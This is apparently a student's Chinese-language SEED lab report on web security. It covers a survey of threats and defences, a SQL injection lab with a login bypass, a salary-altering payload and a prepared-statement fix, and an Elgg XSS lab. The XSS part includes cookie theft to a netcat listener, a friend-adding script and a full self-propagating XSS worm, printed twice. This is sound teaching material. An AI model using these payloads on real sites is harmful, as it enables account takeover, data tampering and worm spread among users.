知识梳理和总结
Web应用安全威胁
- 针对浏览器和终端用户的 Web 浏览安全威胁;
- 针对传输网络的网络协议安全威胁;
- 系统层安全威胁;
- Web 服务器软件安全威胁;
- Web 应用程序安全威胁;
- Web 数据安全威胁。
攻击 Web 服务器软件
Web 服务器平台中的安全漏洞主要分为如下几大类。
- 数据驱动的远程代码执行安全漏洞:作为一种典型的网络服务守护进程,Web 服务器软件包也面临着缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程渗透攻击,这类攻击往往能够让攻击者在 Web 服务器上直接获得远程代码执行的权力,并以相当高的权限执行任意命令。
- 服务器功能扩展模块漏洞:Web 服务器软件通过一些功能扩展模块来为核心的 HTTP 引擎增加其他的功能,启动包括动态代码执行(如微软的 ASP)、站点检索(如 IIS 的索引服务)、Web 分布式写作与版本管理协议 WebDAV、SSL 加密协议等。这些扩展模块往往较 Web 服务器软件的编写质量要差许多,因此也就存在更多的安全漏洞。
- 样本文件安全漏洞:为了让更多人接受和依赖他们的技术,Web 服务器软件厂商经常在他们的软件包中包含样本文件和代码示例来演示自己平台一些新奇的用法。一旦这些样本文件存在安全漏洞,就使得攻击者可以利用这些默认包含的样本文件来对 Web 服务器实施攻击。
- 源代码泄露:源代码泄露漏洞让渗透测试人员能够查看到没有防护措施 Web 服务器上的应用程序源代码,在特定情况下,攻击者甚至可以利用这些漏洞查看到系统级的文件。
- 资源解析攻击:Web 服务器软件在处理资源请求时,需要将同一资源的不同表示方式解析为标准化名称,这一过程被称为资源解析。一些 Web 服务器软件可能在资源解析过程中遗漏一些输入合法性与合理性验证的处理,从而就可能导致目录遍历、敏感信息泄露、甚至代码注入攻击。
攻击 Web 数据内容
- Web 站点除了通过服务器软件和应用程序中存在安全漏洞和弱点遭受攻击之外,还面临着针对敏感数据内容的攻击威胁,具体包括安全敏感数据泄露、网站内容遭受篡改,以及不良信息内容上传。
- 安全敏感数据泄露;
- 网站篡改;
- 不良信息内容上传。
Web 应用安全防范措施
Web 站点网络传输安全设防措施:尽量使用 HTTPS 协议来保障 Web 站点传输时的保密性、完整性与身份真实性;通过加密的连接通道来管理 Web 站点,避免使用未经加密的 telnet、FTP、HTTP 来进行 Web 后台管理,而使用 SSH、SFTP 等安全协议;对关键的 Web 服务器,设置静态绑定 MAC-IP 映射,在服务网段内进行 ARP 等各类欺骗攻击的检测与 MAC 封禁机制。
Web 站点操作系统及服务安全设防措施:对 Web 站点的操作系统与服务器软件进行及时的补丁更新;对 Web 站点服务器的橾作系统及各种开放服务进行远程安全漏洞扫描;采用提升系统与服务安全性的一般性设防措施,包括关闭所有不使用的服务,避免使用明文传输的网络服务;设置强口令字,以及安全的服务配置:部署防火墙,设置对控制及内容上传通道的限制访问;配置数据备份服务,必要时设置冗余和双机热备机制。
Web 应用程序安全设防措施:应该认识到采用动态内容、支持用户输入的 Web 应用程序较静态 HTML 具有更高的安全风险;对于必须提供用户交互、采用动态页而的 Web 站点,尽量使用具有良好安全声誉及稳定技术支持力量的 Web 应用软件包;只在必要时候自主或外包开发 Web 应用程序;使用 Web 服务器软件提供的日志功能,对 Web 应用程序的所有访问请求进行日志记录与安全审计。
SQL 注入
代码注入是针对 Web 应用程序的上流攻击技术之一,代码注入根据攻击目标的不同又分为:
- 恶意读取、修改与操纵数据库的 SQL 注入攻击;
- 在 Web 服务器端安装、执行 Webshell 等恶意脚本的 PHP 注入或 ASP 注入攻击;
- 在 Web 服务器端恶意执行操作系统命令的 Shell 注入攻击;
- 其他多种多样的注入攻击,如 LDAP 注入、邮件命令注入、空字节注入、SSI 注入、XPath 注入、XML 注入、XQuery 注入等。
- SQL 注入(SQLi)是一种注入攻击,可以执行恶意 SQL 语句。它通过将任意 SQL 代码插入数据库查询,使攻击者能够完全控制 Web 应用程序后面的数据库服务器。攻击者可以使用 SQL 注入漏洞绕过应用程序安全措施;可以绕过网页或 Web 应用程序的身份验证和授权,并检索整个 SQL 数据库的内容;还可以使用 SQL 注入来添加,修改和删除数据库中的记录。
SQL 注入漏洞可能会影响使用 SQL 数据库(如 MySQL,Oracle,SQL Server 或其他)的任何网站或 Web 应用程序。犯罪分子可能会利用它来未经授权访问用户的敏感数据:客户信息,个人数据,商业机密,知识产权等。SQL 注入攻击是最古老,最流行,最危险的 Web 应用程序漏洞之一。
SQL 注入攻击防范措施
- 使用类型安全(type-safe)的参数编码机制;
- 凡是来自外部的用户输入,必须进行完备检查;
- 将动态 SQL 语句替换为存储过程、预编译 SQL 或 ADO 命令对象;
- 加强 SQL 数据库服务器的配置与连接。
- XSS 攻击技术原理
SQL注入
登录数据库,mysql -u root -pseedubuntu
再看看mysql里面有哪些数据库,~show databases;
我们需要使用的是Users这个数据库,use Users;
看一下这个数据库下面有哪些表,show tables;
我们看一下“credential”里面的信息,select * from credential
开始SQL注入攻击
我还输入完,备选都出来了
查看一下详细信息,F12进去以后,在原来网页随便输入一个账号和密码,我们可以看到,这是把数据交给框起来的那部分校对的
控制台进去看一下详细信息
利用注释特性,当输入变成“Admin' #”,我们可以发现后面的都没有了,也就是说,这个可以直接登录
随便选个人去看看,登录看看
缩放比例调整到50%才能看到Edit prifile 真是让人恶心啊
找到update的位置后,在NickName那里输入语句~~ ', salary='9999' where EID='20000'; #,我们可以发现攻击成功了
SQL对抗
比较知名的SQL注入,其实就是通过把SQL命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
应对方法
- 参数化SQL:在设计与数据库连接并访问数据时,在需要填入数值或者数据的地方,使用参数(Parameter)来给值,用@来表示参数。在使用参数化查询的情况下,数据库服务器不会将参数的内容视为SQL指令的一部分来处理,而是在数据库完成SQL指令的编译后,才套用参数运行,因此就算参数中含有恶意的指令,由于已经编译完成,就不会被数据库所运行,因此,可从一定程度上避免SQL注入。
- 字符串过滤
- 使用正则表达式过滤传入的参数
- 前端js防范SQL注入
- 在数据库中限制用户权限,drop/create/truncate等权限谨慎grant
- 多使用数据库自带的安全参数。如在SQLServer数据库中提供了Parameter这个集合,这个集合提供类型检查和长度验证的功能。如果管理员采用了 Parameter这个集合的话,则用户输入的内容将被视为字符值而不是可执行代码。即使用户输入的内容中含有可执行代码,则数据库也会过滤掉。因为此时数据库只把它当作普通的字符来处理。
- 多层环境如何防治SQL注入式攻击?(实现多层验证,需要多层一起努力,在哭护短与数据库端都要采用相应的措施来防治SQL语句的注入式攻击)
- 必要情况下使用专业的漏洞扫描工具来寻找可能被攻击的点
我们修改在unsafe_home.php中的sql语句为预处理语句,即将:
$sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
$result = $conn -> query($sql);
修改为:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= ? and Password= ?");
$stmt->bind_param("ss", $input_uname, $hashed_pwd);
$stmt->execute();
$stmt->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber, $address, $email, $nickname, $pwd);
$stmt->fetch();
XSS攻击
完成以下任务:
- 发布恶意消息,显示警报窗口:在您的 Elgg 配置文件中嵌入一个 JavaScript 程序,以便当另一个用户查看您的配置文件时,将执行 JavaScript 程序并显示一个警报窗口
- 弹窗显示 cookie 信息:将 cookie 信息显示
- 窃取受害者的 cookies:将 cookie 发送给攻击者
- 成为受害者的朋友:使用 js 程序加受害者为朋友,无需受害者干预,使用相关的工具了解 Elgg 加好友的过程
- 修改受害者的信息:使用 js 程序使得受害者在访问 Alice 的页面时,资料无需干预却被修改
- 编写 XSS 蠕虫
- 对抗 XSS 攻击
打开相应网站,然后登录
在此处修改一下信息,然后保存
页面自动更新以后,弹出来了提示窗口
在此处把信息继续修改成下面这样
然后我们看到了弹窗,这个好像是cookie
在此处把信息修改成下图
终端输入命令,nc -l 5555 -v,然后Boby访问Alice,就可以看到了
加Alice为好友
我们可以看到浏览器发送的请求
此处如果没有post请求,说明请求已经完成,你可以先打开后台,然后再添加,就能看到了
下面通过脚本来添加好友
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Alice as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
用samy登录,然后进入Boby主页面,发现加上了Alice的好友
????出现问题了,我为什么加的是Alice的好友呢?
我仔细看了一下代码,不同人发送post请求时,add?friend=后面这串数字是不同的,Alice是44,Boby是45。所以当我们把代码里的参数改成45的时候,我们发现XSS攻击成功了。
已经成功加上Boby好友
继续进入Edit profile页面,F12后,点击Save,看看有什么反应
继续about me里放入以下代码
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
用samy访问Boby
编写一个XSS蠕虫
逻辑和上面差不多
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
看一下结果
遇到的问题和解决方案
一开始装的那个seed,ubuntu版本太低,没法做实验,又重新安装了一个。
总结
实验的逻辑很清晰,就是不会做。尤其是后面的代码,完全让我丧失了信心。